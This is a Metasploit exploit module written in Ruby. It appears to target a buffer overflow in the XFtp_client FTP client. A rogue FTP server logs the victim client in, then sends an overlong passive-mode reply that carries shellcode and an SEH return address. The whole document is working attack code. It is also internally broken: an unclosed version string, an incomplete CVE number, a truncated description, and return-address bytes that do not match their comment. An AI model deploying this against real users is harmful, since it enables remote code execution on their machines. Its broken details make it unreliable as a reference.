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##
# $Id: XFtp_client.rb 9525 2010-06-15 07:18:08Z Iraq $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'XFtp_client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the XFtp_client that is triggered
},
'Author' =>
[
'zombiefx', # Original exploit author
'dookie' # MSF module author
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9525
,
'References' =>
[
[ 'CVE', '2011'],
[ 'OSVDB', '63812'],
[ 'URL', 'http://www.1337day.com/exploits/16829' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x76\x29\x4c\x3d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => "\xdc\x20\x30" } ], # 0x004021fd p/p/r in xftp.exe
],
'Privileged' => false,
'DisclosureDate' => '5/9/2011',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# Let the client log in
client.get_once
user = "331 Please specify the password.\r\n"
client.put(user)
client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)
# Handle the clients PWD command
client.get_once
pwd = "257 \"/\" is current directory.\r\n"
client.put(pwd)
client.get_once
sploit = "227 Entering Passive Mode ("
sploit << rand_text_alpha_upper(2171)
sploit << make_nops(100)
sploit << payload.encoded
sploit << make_nops(900 - (payload.encoded.length))
sploit << "\xe9\x18\xfc\xff\xff"
sploit << "\xde\xf5\x90\x5D"
sploit << [target.ret].pack("A3")
sploit << ")\r\n"
client.put(sploit)
end
end
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